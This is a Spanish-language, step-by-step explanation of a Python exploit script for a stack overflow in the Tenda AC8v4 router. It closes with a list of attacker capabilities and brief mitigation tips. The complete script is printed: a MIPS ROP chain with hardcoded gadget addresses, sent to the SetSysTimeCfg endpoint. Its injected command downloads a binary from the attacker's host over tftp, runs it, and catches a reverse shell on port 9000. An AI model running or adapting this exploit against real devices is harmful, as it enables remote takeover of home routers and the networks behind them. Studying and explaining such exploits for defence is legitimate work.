Este script es un exploit diseñado para ejecutar un ataque ROP (Return-Oriented Programming) en un dispositivo Tenda AC8v4, aprovechando una vulnerabilidad de desbordamiento de pila. Aquí está el desglose paso a paso de lo que hace el script:
1. Importaciones y Configuración Inicial
import requests
import argparse
import threading
from pwn import log, context, flat, listen
from typing import NamedTuple- requests: Biblioteca para realizar solicitudes HTTP.
- argparse: Biblioteca para manejar argumentos de línea de comandos.
- threading: Biblioteca para manejar subprocesos.
- pwn: Herramientas de pwntools para facilitar la explotación.
- typing: Biblioteca para manejo de tipos.
2. Configuración de la Sesión de Requests
session = requests.Session()
session.trust_env = False- Crea una sesión de requests y desactiva el uso de las variables de entorno.
3. Función para Procesar Argumentos
def ap():
parser = argparse.ArgumentParser()
parser.add_argument("host",type=str, help="exploiting ip")
parser.add_argument("port",type=int, help="exploiting port")
parser.add_argument("attacker_host", help="attacker host")
args = parser.parse_args()
return ['',f'tftp -g -r rs {args.attacker_host} && chmod +x rs && ./rs {args.attacker_host} 9000'], args.host, args.port- ap: Define y procesa los argumentos necesarios:
host,portyattacker_host. - Retorna una lista de comandos y los valores de
hostyport.
4. Clase RopCmd
class RopCmd(NamedTuple):
second: str- Define una tupla con un único campo
second.
5. Función Principal de Explotación
def pwn(ropcmd: RopCmd, host: str = '192.168.31.106', port: int = 80):
listener = listen(9000)
context(arch = 'mips', endian = 'little', os = 'linux')- pwn: Configura un listener en el puerto 9000 y define el contexto de pwntools para una arquitectura MIPS con endianismo little y sistema operativo Linux.
6. Función para Enviar la Solicitud Maliciosa
def sink(payload):
url = f"http://{host}:{port}/goform/SetSysTimeCfg"
_payload = b'retr0reg' + b":" + payload
data = { b"timeType": b"manual", b"time": _payload }
def send_request():
try:
requests.post(url=url, data=data)
except Exception as e:
print(f"Request failed: {e}")
thread = threading.Thread(target=send_request)
thread.start()- sink: Crea una solicitud HTTP POST con el payload malicioso y la envía en un subproceso.
7. Función para Construir la Cadena ROP
def _rop(ropcmd: RopCmd):
libc_base = 0x77f59000
_system = 0x004E630
t9_target = 0x77fa7630
ret_offset = 0x7b
sp_offset = 0x7f
sp2 = 0x60
sp3 = 0x38
lw_s4_0x48_JR_5Csp = 0x0007E8C8
t9_EQ_s4_JR_1C_p_18 = 0x0001B014
a0_EQ_sp24_c_JR_24sp = 0x0004D144
a0_EQ_sp28_c_JR_24sp = 0x00058920
c1 = ""
c2 = ""
c3 = "output=$(tftp 2>&1);spec=${output:47:1};" + ropcmd[1].replace('-','$(echo $spec)')
_payload = {
ret_offset: libc_base + lw_s4_0x48_JR_5Csp,
(sp_offset + 0x48): t9_target,
(sp_offset + 0x38 + 0x18): f'{c2}'.encode(),
(sp_offset + 0x5c): libc_base + t9_EQ_s4_JR_1C_p_18,
(sp_offset + sp2 + 0x1C + 0x10): f'{c1}'.encode(),
(sp_offset + sp2 + 0x34): libc_base + a0_EQ_sp24_c_JR_24sp,
(sp_offset + sp2 + sp3 + 0x24): libc_base + _system,
(sp_offset + sp2 + sp3 + 0x24 + 0xC - 0x7): f'$({c3});'.encode()
}
return flat(_payload)- _rop: Define direcciones base y offsets, luego construye una cadena ROP que se almacena en
_payload.
8. Ejecutar la Cadena ROP y Esperar Conexión
payload = _rop(ropcmd)
sink(payload=payload)
listener.wait_for_connection()
log.critical("Received shell!")
listener.interactive()- Genera el payload utilizando
_rop, lo envía usandosink, y espera una conexión entrante en el listener.
9. Ejecución Principal
if __name__ == "__main__":
ropcmd, host, port = ap()
log.info("0reg.dev - retr0reg")
log.info("Tenda AC8v4 stack-based overflow")
print(
"""\
__________ __ _______
\______ \ _____/ |________ \ _ \_______ ____ ____
| _// __ \ __\_ __ \/ /_\ \_ __ \_/ __ \ / ___\
| | \ ___/| | | | \/\ \_/ \ | \/\ ___// /_/ >
|____|_ /\___ >__| |__| \_____ /__| \___ >___ /
\/ \/ \/ \/_____/
"""
)
log.info("RCE via Mipsel ROP")
pwn(ropcmd, host, port)- Si se ejecuta como un script, procesa los argumentos, imprime banners informativos y llama a
pwnpara iniciar la explotación.
En resumen, el script aprovecha una vulnerabilidad de desbordamiento de pila en un dispositivo Tenda AC8v4 para ejecutar código arbitrario mediante la construcción y envío de una cadena ROP, lo que permite al atacante tomar control del dispositivo y obtener una shell remota.
Si un atacante logra explotar esta vulnerabilidad en un dispositivo Tenda AC8v4, puede realizar una serie de acciones maliciosas, algunas de las cuales incluyen:
1. Ejecutar Código Arbitrario
- El atacante puede ejecutar cualquier comando o programa en el dispositivo comprometido. Esto incluye instalar malware, ejecutar scripts maliciosos, o iniciar otros ataques desde el dispositivo.
2. Obtener Acceso Remoto (Shell)
- El script proporciona una shell remota, lo que permite al atacante interactuar con el sistema como si estuviera físicamente presente. Esto incluye navegar por el sistema de archivos, modificar configuraciones y extraer datos sensibles.
3. Capturar Tráfico de Red
- Con acceso al dispositivo, el atacante puede interceptar y analizar el tráfico de red que pasa a través del router. Esto incluye capturar credenciales, datos personales y otra información sensible.
4. Modificar Configuraciones del Dispositivo
- El atacante puede cambiar la configuración del router, como las contraseñas de administración, los parámetros de la red Wi-Fi y otras configuraciones de seguridad, potencialmente dejando la red más vulnerable.
5. Incorporar el Dispositivo en una Botnet
- El dispositivo comprometido puede ser añadido a una botnet, una red de dispositivos controlados por un atacante, utilizada para realizar ataques distribuidos de denegación de servicio (DDoS), enviar spam, o realizar otras actividades ilícitas.
6. Persistencia y Movilidad Lateral
- El atacante puede instalar backdoors para mantener el acceso al dispositivo a lo largo del tiempo, incluso después de reinicios o actualizaciones. Además, puede intentar comprometer otros dispositivos en la misma red.
7. Robar Información Sensible
- Información sensible almacenada en el router, como contraseñas Wi-Fi, registros de tráfico de red y configuraciones del dispositivo, puede ser extraída y utilizada para otros ataques.
8. Deshabilitar el Dispositivo
- El atacante puede desactivar el dispositivo, dejándolo inoperativo y causando interrupciones en la conectividad de red para los usuarios legítimos.
Medidas de Mitigación
Para protegerse contra este tipo de explotaciones, es importante:
- Mantener el firmware actualizado: Asegurarse de que el dispositivo Tenda AC8v4 tenga instalado el firmware más reciente, que podría contener parches para vulnerabilidades conocidas.
- Configurar contraseñas fuertes: Usar contraseñas de administración fuertes y únicas para el router.
- Seguridad de red: Implementar medidas de seguridad en la red, como segmentación de red, firewalls, y monitoreo de tráfico.
- Desactivar servicios innecesarios: Desactivar servicios y funcionalidades que no sean necesarios para reducir la superficie de ataque.
Estas medidas pueden ayudar a prevenir que un atacante explote vulnerabilidades y comprometa dispositivos en la red.
